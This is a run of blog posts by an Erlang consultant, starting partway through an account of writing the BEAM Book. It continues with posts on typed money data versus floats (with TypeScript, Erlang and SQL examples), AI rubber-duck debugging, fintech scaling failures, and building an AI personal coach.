Pragmatic Bookshelf took over that same year. I kept working in CVS for their production system, but progress was slow. Eventually, they cancelled too. On 20 January 2017, I imported everything into a new repo in one massive commit: 6,622 files, over a million lines. The rewrite stalled, and so did the project.

On 23 March 2017 I started fresh with Asciidoctor in a private GitHub repo, copy-pasting only the parts that still made sense. Two weeks later, on April 7, minutes before a lecture at Chalmers, I flipped the repository public. Within twenty-four hours strangers fixed typos, added diagrams, and merged a Creative Commons BY-4.0 license.

What Kept Me Going

I kept going because I wanted to understand the BEAM properly. There’s value in following the real logic, not just the surface explanations.

Community feedback made a difference. As soon as the repo was public, people began sending corrections, examples, and improvements.

Seeing the numbers of people starring the repo on GitHub kept me going. One highlight: Issue #113 - "Please continue being awesome." (I wrote a whole post about that issue.) That emoji-laced drive-by encouragement (August 2018) still pops into my head whenever motivation dips.

The book started showing up as a reference in Erlang and BEAM conference talks, sometimes several times in the same event. That was a clear signal that others needed this as much as I did.

Even Twitter (in the good old days of Twitter) played a role. Whenever someone mentioned the book or shared a link, it was an extra nudge to keep at it.

Mostly, I just wanted a manual I could trust myself, a reference for the parts of the VM that matter when things go wrong. That’s reason enough to keep writing, even after the third rewrite.

What’s Inside the Book & Who It Helps

The book covers what I wish I’d had when building and operating large Erlang systems:

Schedulers and process management: How the BEAM schedules, prioritizes, and balances processes under real load.
Processes and their memory: How process heaps, stack, messages, and binaries are managed and why these details matter in production.
Garbage collection and memory: What actually happens with per-process and global garbage collectors, binary references, and memory leaks.
Tagging schemes and terms: How the BEAM represents data-integers, floats, tuples, binaries, references-down to the tagging bits.
The compiler and the VM: How code is turned into instructions, what the compiler does (and doesn’t do), and how the emulator executes it.
Tracing and debugging: Practical use of dbg, erlang:trace, and other tools to follow messages, events, and identify bottlenecks.
Performance tuning: What matters when profiling real code, understanding reductions, and tracking down real-world latency problems.
System architecture: How ERTS, the BEAM VM, and their subsystems actually work together in a running node.

If you build or operate Erlang or Elixir systems, especially under any kind of scale-this book is for you. It saves you from hunting through mailing lists, scattered docs, and code comments just to answer, “Why is the VM behaving like this?”

Lessons Learned

Persistence beats perfection. Two cancelled publishing deals look bad on a résumé, but an unfinished idea looks worse.

Boundaries matter. I made progress by blocking time for writing, turning off notifications, and treating focus like a real deadline. Fika at 14:30 is non-negotiable.

The crowd helps. Making the repo public brought in corrections, encouragement, and the occasional nudge when motivation was low.

Scope is everything. I cut the details on dirty schedulers, the new JIT, and the debugger. Maybe those will end up in an appendix, but not in the core. I wrote more about this scoping process in The BEAM Book Is Almost Done.

Ship, then iterate. The BEAM changes every year. A living Git repo keeps up.

A real deadline helps. This January, during my yearly review, I decided to print the book in time for Code Beam Stockholm. I thought I had until autumn, turns out the conference was June 2. That’s how you find out what’s truly essential.

Definition of Done

Holding the print in my hands, it finally feels finished, at least for now. Years of scattered commits are bound into something real, so I’m calling it done.

Get Involved

You can now get the paperback-The BEAM Book 1.0 is live on Amazon. Buy it here. Amazon

If you spot an error, want to improve something, or just want to see how it works under the hood, star or fork the repo. File an issue or, even better, submit a pull request. Contributors are credited in the acknowledgments. GitHub: theBeamBook

If you read the book, please leave an honest review. Algorithms notice real feedback more than marketing copy.

If your team wants a deep dive, I run hands-on BEAM internals workshops, tailored for real systems, not just hello world. Email me if that’s what you need. happi@happihacking.com

Your Finance Stack Is Lying to You

2025-05-22T00:00:00Z

Your Finance Stack Is Lying to You

Why Untyped Data, Floats, and “Excel Thinking” Are Quietly Costing You Millions

At a recent fintech conference, I was struck by how much engineering effort, across both startups and enterprises, is spent cleaning up avoidable messes. Not building competitive advantages. Just damage control:

Rounding errors in reports
Mismatched payment records
Inconsistent handling of currency and tax
Broken reconciliation across systems

Entire teams, and even companies, exist just to fix these issues. The root cause?

Untyped, context-free data.

The Excel Legacy That Won’t Die

Most financial systems still think like spreadsheets. In Excel, 100 can mean anything: euros, dollars, cents, basis points. There’s no schema. No units. No context.

That thinking leaks into production systems:

APIs with vague fields like amount, value, or fee
float(8) columns for monetary values
Boolean values stored as "yes"/"no"
Timestamps with no timezone
Magic numbers passed around without meaning

It might be fast to prototype. But it creates long-term ambiguity, and ambiguity compounds into bugs, delays, and failures.

Essential vs Accidental Complexity

Essential complexity is built into the (financial) domain itself, like multiple currencies, tax rules, compliance steps.

Accidental complexity is everything we add on top: floats for money, ambiguous JSON fields, brittle one-off scripts. This article shows how accidental complexity quietly overwhelms the essential.

It’s Worse in Big Companies

This isn’t just a startup problem.

Large enterprises, such as banks, insurance firms, payment providers, layer complex architectures on top of the same assumptions.

To deal with the resulting chaos, they adopt:

ESBs (Enterprise Service Buses) to transform one vague schema into another
iPaaS (Integration Platform as a Service) tools to sync inconsistent fields across internal platforms
Custom middleware and manual workarounds just to keep systems aligned

The irony? Many of these systems exist solely to translate "value": 100 into another format of "value": 100.

It’s not domain complexity. It’s accidental complexity, caused by a lack of enforced structure.

B2B Invoicing Is Still Email and PDFs

If you think we’ve moved past this, look at B2B invoicing.

In 2025, most companies still send and receive invoices via PDFs attached to emails.

Some are exported from ERPs. Others are typed manually in Word. On the receiving end:

Amounts are extracted with OCR or regex
PO numbers are verified manually
Payment terms and VAT rates are interpreted via email follow-ups

Even with e-invoicing formats like Peppol or Factur-X available, adoption is partial and enforcement is weak. Most systems fall back to parsing visual representations of meaning, not actual structured data.

This leads to:

Duplicate or late payments
Misrouted funds
Fraud via spoofed invoices
Manual reconciliation loops that delay accounting closes

We’re throwing machine learning and automation at a problem that starts with: Why are we still emailing pictures of invoices?

Floats, the Silent Saboteurs

A particularly nasty example: using floats for money.

0.1 + 0.2 != 0.3

It’s the reason your payment gateway and your ledger might silently disagree.

Using floating-point types for financial calculations leads to:

Rounding errors
Reconciliation drift
Bugs that only surface under load, scale, or edge cases

Use integers for minor units (e.g. cents) or proper decimal types. Never float.

LLMs Are Not Helping

Large language models like ChatGPT can now write your APIs, schemas, and database models.

But unless you’re careful, they’ll replicate the same bad patterns. Just faster:

amount: number with no context
float instead of decimal
JSON blobs without units, validation, or structure

LLMs autocomplete based on frequency, not correctness. Without strong engineering guardrails, you’re just mass-producing technical debt.

Databases and the Illusion of Structure

Even when your application code is well-typed, your database schema often isn’t. Relational databases may enforce column types (float, int, varchar), but they rarely capture meaning.

A column named amount might hold:

Gross or net values
In different currencies
As float or decimal
With or without tax
In cents or full units

Unless you enforce units and context explicitly, via naming conventions, type systems, or documentation, your schema becomes a silent source of ambiguity.

And in NoSQL databases like MongoDB, it gets worse.

Mongo stores everything as JSON-like documents. There’s no enforced schema unless you layer one on top. So teams end up storing arbitrary fields like:

{ "value": 99.99 }

What is value here? Dollars? Euros? A discount rate? A tax multiplier? Your system won’t tell you. It just stores whatever someone wrote last week.

And since Mongo supports flexible updates, it’s easy to gradually evolve documents into inconsistent messes. One document has "amount": "100", another has amount: 100.0, and a third has:

{
  "amount": { "value":    10000,
              "currency": "USD",
              "unit":    "cents" }
}

Now your query logic needs to branch, and bugs start to breed.

JSON: Ubiquitous and Ambiguous

JSON is everywhere: in APIs, logs, NoSQL databases, Kafka streams, and config files. But it doesn’t support real numbers.

JSON has one “number” type. There’s no distinction between:

Integer or float
Decimal or exponential
Currency, percent, duration, or count

This means:

"amount": 99.99 could be a float (in JS), a Decimal (in Python), or a BigDecimal (in Java)
Many serializers silently round, truncate, or lose precision
You can’t even tell if 99.99 is a valid business value without knowing the intended type

Worse, many languages parse JSON numbers as floats by default. That means even if you store exact values, your application might read them imprecisely.

COBOL-Structured but Not Safe

One of the oldest languages still in use, COBOL, often enforces more financial structure than many modern systems. Data is explicitly defined using `PIC` clauses:

05 AMOUNT         PIC 9(7)V99.  *> 9999999.99
05 CURRENCY-CODE  PIC X(3).     *> ISO-4217

This enforces field width, scale, and sometimes even units by convention. No wonder that many banks still use COBOL.

But COBOL lacks semantic typing; you get structure without meaning. Rigid, but still brittle when misunderstood.

You can’t trust what you can’t type.

What You Should Do Instead

Typed systems are better systems.

1. Make units explicit

To encode 100.00 Euro:

{
  "amount": 10000,
  "currency": "EUR",
  "minor_unit": true
}

2. Use the right types

Replace float with decimal
Use real bool and datetime types
Never store “truth” as "yes" or "Y"

3. Model the domain

Create types like VatRate, TransactionAmount, IsoTimestamp
Don’t let illegal states be representable

4. Validate at the edges

APIs should reject ambiguity, not propagate it
Fail fast when types or units are missing

Type Theory, Briefly

Types aren’t just for compilers. They encode meaning. They help humans and machines distinguish between:

100 SEK vs 100%
net_total vs gross_total
sent_at vs due_date

Use types if you have them

In languages with strong type systems you can make these distinctions explicit:

// ISO 4217 currency codes (could use an enum)
type CurrencyCode = 'USD' | 'EUR' | 'GBP' | 'JPY';

interface Money {
    // always in the smallest currency unit
    // (e.g. cents, pence)
  amountMinor: number;
  currency: CurrencyCode;
}

When done well, the compiler helps you prevent bugs. Your system becomes self-documenting and harder to misuse.

Fake types if you don't

Even in dynamically typed languages, you can fake it:

Use structs, classes, or schema validators
Separate field names with intent (e.g. gross_eur_cents)
Build linter rules that enforce domain conventions

An example in Erlang

%%%-----------------------------------------------------------------
%%% money.hrl - record definition
%%%-----------------------------------------------------------------
-record(money, {
    amount_minor :: integer(),     % always in minor units (cents, öre)
    currency     :: currency()     % ISO-4217 atom
}).

-type currency() :: usd | eur | gbp | sek.
-export_type([currency/0, money/0]).
-type money()    :: #money{}.

%%%-----------------------------------------------------------------
%%% money.erl
%%%-----------------------------------------------------------------
-module(money).
-compile([export_all]).  % concise for the demo

-include("money.hrl").

-spec new(integer(), currency()) -> money().
new(AmountMinor, Cur) when
        is_integer(AmountMinor),
        AmountMinor >= 0,
        Cur =:= usd; Cur =:= eur; Cur =:= gbp; Cur =:= sek ->
    #money{amount_minor = AmountMinor, currency = Cur}.

-spec add(money(), money()) -> money().
add(#money{currency = C, amount_minor = A1},
    #money{currency = C, amount_minor = A2}) ->
    #money{currency = C, amount_minor = A1 + A2};
add(_, _) ->
    error({currency_mismatch}).

-spec format(money()) -> binary().
format(#money{amount_minor = Amt, currency = Cur}) ->
    Major = Amt div 100,
    Minor = Amt rem 100,
    lists:flatten(io_lib:format("~p.~2..0B ~p", [Major, Minor, Cur])).

Or at least pretend

Naming-as-Type, when you really have nothing else. If the tech stack is a bash script, SQL view, or low-code platform, fall back to semantic variable names:

ALTER TABLE invoices
ADD COLUMN gross_eur_cents BIGINT NOT NULL,
ADD COLUMN vat_rate_pct   NUMERIC(5,2) NOT NULL;

Now, in most modern SQL dialects you can use domains and composite types to achieve type safety.

-- 1. A domain for minor-unit amounts (cents, öre, pence …)
CREATE DOMAIN minor_money
AS bigint                               -- large enough for 9 223 372 036 854 775 807 cents
CHECK (VALUE >= 0);

-- 2. A domain for currency codes (exactly three uppercase A-Z letters)
CREATE DOMAIN currency_code
AS char(3)
CHECK (VALUE ~ '^[A-Z]{3}$');

-- 3. A composite type that glues the two together
CREATE TYPE money_value AS (
  amount_minor minor_money,
  currency     currency_code
);

-- 4. Example table using the new type
CREATE TABLE invoice_line (
  id           serial PRIMARY KEY,
  description  text NOT NULL,
  total_net    money_value NOT NULL,
  vat_amount   money_value NOT NULL,
  total_gross  money_value NOT NULL
);

INSERT INTO invoice_line (description, total_net, vat_amount, total_gross)
VALUES
  ('10 kg mozzarella',
   ROW(100000, 'EUR')::money_value,   -- €1 000.00 net
   ROW( 25000, 'EUR')::money_value,   -- €  250.00 VAT
   ROW(125000, 'EUR')::money_value);  -- €1 250.00 gross

The Real Problem

Modern languages make it easy to move fast without structure. That’s fine in early prototypes. But financial systems are long-lived. Without structure, every layer you build sits on sand.

The cost? Every ambiguous field becomes a future incident. Every vague type becomes a blocker to automation.

You can pay that cost now; through type safety and clear structure. Or you can pay it later; through failed audits, reconciliation hell, and broken trust.

Performance Myths

If you're concerned about throughput or message size: remember that using JSON or XML already dwarfs the overhead of a type‑safe add(Money) function.

Machine‑level addition is fast, but the bugs caused by mixing currencies or losing precision will cost far more.

Closing Thought

Finance runs on trust. Trust requires clarity. Clarity requires types.

If you’re still shipping Excel-style data into your APIs, databases, and ledgers then you’re shipping risk.

Typed data isn’t a nice-to-have. It’s a trust contract.

I barely scratched the surface here. For related material on how bad architecture compounds these problems, see The Hidden Cost of Bad Payment Architecture. For a practical look at how Erlang handles these workloads at scale, see How Erlang Powers High-Volume Finance.

If you'd like deeper material, whether a full book or a hands-on course, please let me know.

Need a second pair of eyes on your data contracts or payment architecture? Let’s talk → info@happihacking.se

AI Rubber Ducking: When Your Duck Starts Talking Back

2025-04-01T00:00:00Z

AI Rubber Ducking: When Your Duck Starts Talking Back

We’ve all been there. Your code isn’t working, you're on your third coffee, and explaining your logic out loud to a literal rubber duck somehow feels perfectly reasonable. This method-known as "rubber duck debugging"-forces you to verbalize the problem, turning vague frustration into clear insight. But what if, instead of silent, judgmental stares, your rubber duck could actually respond?

Rubber Duck Debugging, Briefly Explained

If you've never heard of rubber duck debugging, here’s the gist: you talk your code through line-by-line to an inanimate duck (or a coffee mug, or a slightly confused co-worker). The mere act of explaining forces your brain to slow down, reconsider assumptions, and often leads you straight to the source of the problem.

Now, enter AI.

AI Joins the Debugging Party

AI-powered tools like ChatGPT have started stepping in as your conversational coding partner. Instead of blank stares from a rubber toy, you now get questions, clarifications, and the occasional helpful nudge from an attentive AI. This might sound great, or terrifyingly close to "AI writes your code for you," but that's not quite the point.

Here's a crucial distinction: this is not about letting AI blindly spit out code snippets for you to paste without thinking. That way lies madness, chaos, and production incidents at 3 AM. Instead, it’s about enhancing your understanding of the code you're writing, using the AI as a thoughtful listener who challenges your assumptions and gently prods you toward insight.

Why Letting AI Write Your Code Is a Terrible Idea

Let’s pause briefly to clarify something important:

Yes, AI can generate code. Sometimes it's even correct. But if you blindly copy-paste AI-generated code, you’ve basically summoned a gremlin into your codebase. Good luck debugging a solution generated by a statistical model trained on half the internet’s JavaScript hacks and Stack Overflow workarounds.

Instead, the real power of using AI for rubber duck debugging is helping you articulate your problem and thought process. You remain in charge. It's your logic, your code. But now you have a conversational partner to bounce ideas off.

How AI Ducking Helps You (the Developer)

Here's why chatting with an AI rubber duck is surprisingly effective:

Explaining your problem in detail forces clarity. When you describe your bug or logical flaw to an AI, you have to strip away assumptions and present things simply. By doing this, you immediately spot those sneaky gaps or logical inconsistencies.

The AI’s questions can prompt you to think about your code differently. Rather than just silently nodding along, an AI can gently interrupt your flow and say something like, "Wait, what happens if x is empty?" Suddenly you're forced to consider edge cases or logic branches you've overlooked.

It’s always there, awake, caffeinated (in the digital sense), and ready to debug with you,even when your team isn't. No more waiting until morning to untangle the mess you made at 2 AM.

Practical Tips for Using AI as a Rubber Duck

Here’s how to best leverage AI in your debugging sessions:

First, clearly articulate your issue: what should your code do, and what is it actually doing? Imagine you’re explaining it to someone who has no context at all.

Next, provide only relevant snippets, enough context without drowning your duck in noise. This helps maintain your own clarity too.

Finally, actively engage with the AI’s questions and suggestions. Don't just ask for answers, but use the dialogue to challenge your own assumptions and deepen your understanding.

Suggested prompts

Problem Description Prompts
- "Let me explain this code snippet to you. Point out any logical inconsistencies or gaps in my explanation."
- "Here's what I want my function to do [short description]. Here’s how I'm approaching it. What scenarios might I have missed?"
Code Understanding Prompts
- "Can you restate the logic of my code snippet in simpler terms? I want to see if I clearly understand what I've written."
- "Let me describe how this should work step-by-step. Please interrupt if something doesn’t make sense or seems incomplete."
Edge-Case Identification Prompts
- "I think I've covered all edge cases. Challenge me-are there conditions I haven’t accounted for?"
- "I feel confident about my implementation. Double-check me: are there scenarios I might have overlooked?"
Debugging Assistance Prompts
- "My code isn't working. Before giving suggestions, ask me clarifying questions to help me understand why it might be failing."
- "Ask me about assumptions I've made in this code snippet. Help me realize what I might be taking for granted."

Or you can try my Rubber Duck Debugger

Conclusion (Or, Embrace the Quack)

AI-powered rubber ducking won't replace traditional debugging or your team’s code reviews. But it does offer a helpful middle ground between coding alone and having a conversation partner always available. The goal is not about magically solving your problems, but about helping you understand your problems clearly enough to fix them yourself.

So next time your code misbehaves, try talking it through with an AI duck. It might just quack you up, and lead you straight to the solution.

The BEAM Book Is Almost Done. Here's What Writing It Taught Me.

2025-03-25T00:00:00Z

The Project Nears Completion

I set out to document everything I knew about the BEAM, and to discover everything I didn't yet know. I thought it would be straightforward: outline the architecture, show some code, sprinkle in a few anecdotes. Then I discovered how challenging it is to make concurrency, schedulers, and message passing sound simple.

The manuscript is now nearly complete. I’m fine-tuning the final chapters and making sure the structure doesn’t collapse under its own ambition. It turns out, writing about concurrency requires you to manage your own concurrency crisis: the steady flood of ideas vs. the reality of limited pages and time.

Clarity Over Complexity

Early drafts tried to cover every corner case. I believed completeness was the gold standard. But readers gravitated to the simpler chapters, the ones that made a single concept click. I realized that the trick to explaining concurrency is being hyper-focused on practical examples, then trusting readers to explore deeper if they choose. If I can’t make a concept accessible to a motivated beginner, maybe I don’t understand it well enough.

It turns out there were quite a few of those concepts...

Reigning in the Tools

At one point, I considered writing entire sections on every tracing flag, every debug mode, and every esoteric performance trick. The problem is that readers don’t need an encyclopedia; they need reasons. Tracing is important because you suspect a race condition. Profiling matters because you’re chasing a sneaky performance bottleneck. Tools are only interesting when they solve real problems, so that became my new guiding principle.

Ruthless Scoping

I had to remove or postpone entire topics: dirty schedulers, advanced NIF usage, and extended ERTS internals. They’re fascinating but not essential to the book’s main goal. Each time I felt guilty about cutting something, I remembered that overwhelming readers helps no one. The hardest part of writing isn’t the explaining, it’s choosing what to leave out.

Final Touches

I’m wrapping up the final chapters, polishing details around logging and monitoring to reflect the latest OTP releases. The open source version is already up on GitHub under Creative Commons, where I push new updates as soon as they’re ready.

See theBeamBook.

Once the manuscript feels rock-solid, I’ll bundle it into a formal 1.0 release. A print edition will follow for those who still enjoy the feel of paper or need something sturdy to stop the table from wobbling.

How You Can Help

If you’ve skimmed any parts of the work or tried some examples, I welcome your feedback. Tell me if something is too dense, too vague, or too boring. Yes, that last category is real, and I’d rather know before the book hits the press.

Conclusion

Writing this book taught me to finally stop adding things, cut what's unnecessary, and accept when it's good enough.

If the book helps someone troubleshoot a gnarly bug or finally understand why the BEAM is so special, it's done its job. For the full story behind the decade-long writing process, see Why I Wrote the BEAM Book. For the broader context of BEAM's evolution over the decades, see Three Decades with Erlang.

Thanks to everyone who has shared feedback and encouragement along the way. You’ve shaped this project more than you know. And if you discover something confusing, or you see a spot where you’d love more detail, let me know before I release the final print version. Writing about concurrency is fun, but improving it with your input is even better.

Want a heads-up when the print version drops? Just email info@happihacking.se and I’ll add you to the list.

Why Some Fintechs Scale Seamlessly; and Others Crash and Burn

2025-03-18T00:00:00Z

Fintech is a ruthless game. When your backend crashes, the consequences are serious. Transactions freeze, customers panic, and regulators start sending you very unfriendly letters.

I've spent decades building financial backends, from Klarna's early days to scaling systems for companies like RedCare, Aeternity, Deutsche Telekom, and Delta Exchange. The secret to successful fintech scaling involves performance and compliance in equal measure.

Let’s unpack why fintech backends break and how smart companies keep everything running smoothly.

Epic Scaling Fails (And What We Can Learn)

Solaris Bank: Fast Growth Meets Regulatory Nightmare

Solaris Bank exploded in popularity as a banking-as-a-service platform. Unfortunately, they moved so quickly they left compliance behind. Germany's BaFin eventually stepped in, banning new customer sign-ups and slapping Solaris with a €6.5M fine.

Compliance should be the foundation of your fintech strategy, not something you add later.

N26: Growth Gone Wild

N26 scaled rapidly but overlooked crucial anti-money-laundering systems. Regulators capped their growth at 50,000 new customers per month and handed them a painful €9.2M fine.

This illustrates clearly that technology and compliance need to scale simultaneously.

Trustly: The IPO That Never Happened

Trustly faced major issues due to weak customer verification processes, especially in gambling transactions. As a result, they received an €11M fine, and their highly anticipated IPO was canceled.

Transaction volume alone doesn't guarantee success without solid compliance systems.

Swish: Even Giants Can Trip

Swish, a well-established fintech service, recently encountered several disruptions. On Christmas Eve (December 24-25, 2024), Swish suffered significant downtime during peak hours, causing issues for more than 24 hours. Additional problems included temporary outages affecting Skandiabanken transactions (March 18, 2025), an ECB-related downtime (March 5, 2025), API disruptions linked to Swedbank Pay (January 20 and March 11, 2025), and a brief 15-minute outage (July 1, 2024).

These cases underscore the necessity of robust monitoring and clear communication channels.

How Smart Fintechs Scale Smoothly

Successful fintechs follow clear strategies to achieve seamless growth.

Delta Exchange: Compliance at High Speed

Delta Exchange scaled their crypto platform smoothly despite intense regulatory oversight. They built compliance directly into their backend, processing over $300M daily trades and onboarding 100,000 users without issues.

Compliance is integral for both speed and stability.

Finoa: Making Compliance an Advantage

Finoa integrated compliance deeply into their systems from day one. This allowed them to effortlessly navigate stringent German regulations, secure full BaFin licensing, attract institutional clients, and secure a €15M funding round.

Here, compliance actively supports growth instead of hindering it.

Sika Health: Automated Compliance

Sika Health successfully automated complex healthcare payment compliance processes. They quickly onboarded thousands of users without any regulatory fines or operational delays.

Automation of compliance processes simplifies scaling significantly.

Essential Steps for Every Fintech CTO

Scaling a fintech backend can be straightforward, if handled correctly. The key is to anticipate growth before it happens, design for extreme reliability, and embed compliance into the architecture from day one.

Here’s what every fintech CTO needs to prioritize to avoid downtime, compliance fines, and customer trust loss.

1️⃣ Conduct Regular Scalability Audits

Identify bottlenecks before they escalate into failures.

One of the biggest mistakes fintech companies make is waiting for a crisis before optimizing performance. Scaling problems don’t appear overnight; they build up over time due to technical debt, increased transaction loads, and expanding regulatory requirements.

A Scalability Audit helps uncover:

✅ Transaction bottlenecks, where latency builds up under peak load.

✅ Database stress points, when inefficient queries slow down payments.

✅ System architecture weaknesses, whether microservices or monoliths are holding back performance.

✅ Compliance vulnerabilities, ensuring AML/KYC, PSD2, or DORA regulations don’t become blockers.

Real-world example

N26’s failure to scale AML compliance led to regulatory fines and a customer cap. If they had proactively stress-tested their compliance automation, they could have avoided months of lost growth.

CTO Takeaway: A fintech backend should be tested under extreme scenarios, not just daily traffic levels. Scalability audits should be conducted every 6-12 months, especially after launching new features or expanding into new markets.

2️⃣ Design Infrastructure for Future Growth

Build for 10x the expected traffic, not just today’s demand.

A fintech system built for 10,000 transactions per day will fail when it suddenly needs to handle 1 million per hour. Klarna, Trustly, and Solaris all faced scale-related growing pains. Some overcame them, some paid the price in lost revenue, downtime, or regulatory action.

How to architect for scale

✅ Event-driven architecture, reducing bottlenecks by making transaction processing async.

✅ Auto-scaling infrastructure, ensuring services automatically adapt to increased load.

✅ Distributed databases, avoiding single points of failure in transaction processing.

✅ Fault tolerance & failovers, ensuring payments don’t stall during outages.

Real-world example

Swish’s Christmas Eve outage (2024) left payments down for hours at the most critical shopping period of the year. A more resilient infrastructure with failover mechanisms could have prevented extended downtime.

CTO Takeaway: Designing for the future, not just today, prevents firefighting at scale. If you’re not designing for at least 10x growth, you’re already behind.

3️⃣ Embed Compliance into the System from Day One

Scaling fintech is both a technical and regulatory challenge.

Many fintech CTOs treat compliance as an afterthought, resulting in fines, growth restrictions, or legal battles. Regulators are increasingly aggressive, as seen with BaFin capping N26’s customer growth and Solaris being barred from onboarding new users.

How to make compliance scalable:

✅ Automated reporting, reducing manual errors in AML and fraud detection.

✅ Real-time transaction monitoring, detecting suspicious activity before regulators do.

✅ RegTech integration, building compliance as a core part of the fintech stack, not a patchwork fix.

✅ Audit-friendly architecture, keeping transaction logs immutable and ready for regulatory scrutiny.

Real-world example:

Finoa successfully scaled its crypto custody business while achieving full BaFin licensing, a rare success story in the highly scrutinized digital assets space.

CTO Takeaway: Building compliance into the backend, rather than layering it on later, ensures fintechs scale without regulatory intervention slowing them down.

4️⃣ Plan for High-Load Events (Before They Happen)

Every fintech will face a traffic surge at some point.

Black Friday, holiday shopping, regulatory changes, or viral adoption can all stress-test a fintech backend overnight. Without proper preparation, even the biggest players fail.

How to prepare for high-load events

✅ Chaos testing & simulations, running disaster scenarios before they happen.

✅ Load balancing & redundancy, ensuring transactions are processed even during peak failures.

✅ Real-time observability, catching anomalies before they turn into downtime.

✅ Rollback strategies, having a fail-safe mechanism for deploying new features.

Real-world example

Deutsche Telekom’s 1B transactions/day IoT system was built with proactive scaling and failure recovery strategies allowing it to function without disruption despite extreme throughput demands.

CTO Takeaway: Every fintech must plan for worst-case scenarios. The best time to fix scalability issues is before a crisis hits.

5️⃣ Leverage Expert Guidance to Avoid Reinventing the Wheel

Scaling mistakes are costly; learn from those who’ve done it before.

How I Help Fintech CTOs Scale Without Failures:

✅ Scalability Audits, finding bottlenecks before they cost you millions.

✅ High-Performance Architecture Design, building infrastructure that can handle 10x growth.

✅ Compliance-Ready Systems, ensuring regulatory security from day one.

We work with fintech leaders to ensure their backends scale without breaking. Let’s talk.

Send an email to info@happihacking.se

Summon Your AI Sidekick: Building a Tireless Personal Coach

2025-03-11T00:00:00Z

Setting Up an AI-Powered Personal Coach

Introduction

Why do our ambitious goals often fizzle out by the third week? Many of us start strong-whether it's a New Year’s resolution or a bold quarterly objective-only to stumble on consistency. It’s not that we lack ability or vision; we often lack accountability and structure. Staying on track with goals is hard when willpower fades after a long day (or when Netflix keeps suggesting just one more episode).

Enter AI as a personal coach. An AI-powered coach can be your always-on support system, giving you gentle nudges and data-driven insights to keep you accountable. Unlike a human coach, it doesn’t require scheduling, won’t judge your 6 AM snooze-button habit, and never runs out of motivation to cheer you on. In this post, we’ll explore how to set up your own AI-powered personal coach to help bridge the gap between good intentions and consistent results.

Lay Out Your Coaching Vision

Before you throw code at the wall, define what you want your AI coach to do. In the case of Orrin, the job is to blend the best parts of:

Cal Newport’s Deep Work for disciplined, distraction-free time blocks.
Greg McKeown’s Essentialism for focusing on fewer but more impactful tasks.
David Allen’s GTD for systematic capture and next-action clarity.
Bill Campbell’s People-First Coaching for boosting relationships and emotional awareness.
Rick Rubin’s Creative Flow for minimalism, intuition, and experimentation.
Bullet Journal Method for structured journaling, note-taking, and reflection.

No, that’s not just an overstuffed buzzword salad. Taken together, these approaches form a synergy of logic and empathy, structure and creativity. Yet we’re not expecting you to adopt six different life philosophies simultaneously-your AI coach acts as an orchestrator, gently weaving them into daily life.

The Orrin Instructions

Orrin’s instructions emphasize:

Morning Routine Prompts: Water, coffee, journaling, daily planning, and meditation.
Deep Work Blocks & Essentialism: Time blocking for core tasks, avoiding everything else.
GTD-Style Task Capture: Listing tasks and clarifying next actions, ideally in a bullet journal.
Emotional Check-Ins: Occasionally ask if there’s relational tension or emotional avoidance.
Creative Flow: Encourage minimalism and letting go of strict structure in creative work.
Sunday Reflection: Guide weekly reviews for successes, challenges, and schedule planning.

These instructions function like a blueprint. Without them, your AI might default to generic tips or worse-tell you to “follow your heart” when you actually need to ship a product by Friday. Laying down these foundations tells the AI who it is, how it should respond, and what questions to ask.

Give the AI a Strong Identity

At a technical level, the first step is crafting a system-level prompt or “meta” instruction set. Let’s say you’re using OpenAI’s ChatCompletion API in Python. You feed in something like:

orrin_instructions = """
Your name is Orrin.
You are my expert personal Synergy Coach...
(And so on with the bullet points you wrote)
"""

messages = [
    {"role": "system", "content": orrin_instructions},
    {"role": "user", "content": "Orrin, let’s start with tomorrow’s plan..."}
]

response = openai.ChatCompletion.create(
    model="gpt-4",
    messages=messages
)

This system instruction ensures Orrin “knows” all about morning routines, Bill Campbell’s people-first mindset, Rick Rubin’s creative flair, and more. Whenever you ask it for suggestions, it will incorporate these guidelines. Over time, you’ll refine this prompt to better reflect your preferences. If Orrin gets too robotic, you add more empathy or humor lines. If Orrin starts ignoring your Sunday reflection, you beef up that section of the prompt.

Don’t Let Your Data Go to Waste

Besides high-level coaching instructions, you probably have a life plan, training schedule, or reading list that shape your day-to-day. If you want Orrin to remind you to do squats every Wednesday, it helps to provide that info to the AI. There are a few ways:

In-Context via Prompts: Copy-paste relevant info when you talk to Orrin. This is easiest if your data set is small. Fine-Tuning: For heavier data, consider fine-tuning a model on your personal notes and let it “soak up” your routine. Vector Database: A more advanced approach is to keep your data in a database, fetch relevant parts, and feed them to the AI on the fly. This helps when you have a large journal or backlog that the AI can’t hold in short-term context. For most of us, basic in-context prompting does the job. The simpler the solution, the more likely you’ll actually keep using it (rather than tinkering endlessly with architecture-unless you’re into that, which I won’t judge).

Make Orrin Check In with You

Yes, automation is your friend. If you have to remember to check in with Orrin every morning, guess what? You’ll start forgetting it on day three. Better to let the system do the reminding. You could:

Use a Cron Job to ping you in Slack or Telegram at 7 AM with a new conversation that says, “Time to drink water, do some bullet journaling, and plan your day.” Zapier or Make.com automations can schedule a prompt to the GPT model, emailing or messaging you the AI’s output. Slack or Telegram Bot: Name it “Orrin,” integrate the AI logic, and let it message you directly. Keep an eye out: if you ghost the bot too long, you might get gently (or humorously) scolded. The key is to take “self-discipline” out of the equation wherever possible. Instead of relying on willpower, rely on the system.

Include Emotional and Relational Angles

A big chunk of Orrin’s instructions revolve around Bill Campbell’s people-first approach. That means if you type, “Orrin, I’m feeling anxious about tomorrow’s meeting,” it should respond with empathy-and maybe nudge you to have a direct conversation with whoever is causing the tension. This emotional layer is vital, especially if you’re inclined to bury relational issues in the name of efficiency. If you keep ignoring emotional or social tasks, Orrin will call you out-kindly but firmly-just like a decent coach would.

Balance Rigidity with Creative Flow

One potential pitfall with structured coaching is turning your day into a machine-like assembly line. That’s why Orrin has the Rick Rubin “let’s embrace creative freedom” angle. If you’re about to do a brainstorming session or some artistic pursuit, you don’t want your AI micromanaging it. For those moments, your instructions can say something like:

“When the user is entering a creative phase, encourage them to follow intuition, use minimal structure, and let ideas flow without overthinking.”

Closing Thoughts

An AI synergy coach like Orrin blends multiple productivity and personal-growth philosophies into a single, tireless ally. You can offload a surprising amount of mental overhead-like remembering to journal, scheduling deep work, or staying consistent with emotional check-ins-onto a system that never forgets. If it sounds like too much overhead to set up, rest assured: once it’s running, it’s mostly about short daily interactions and an occasional Sunday chat.

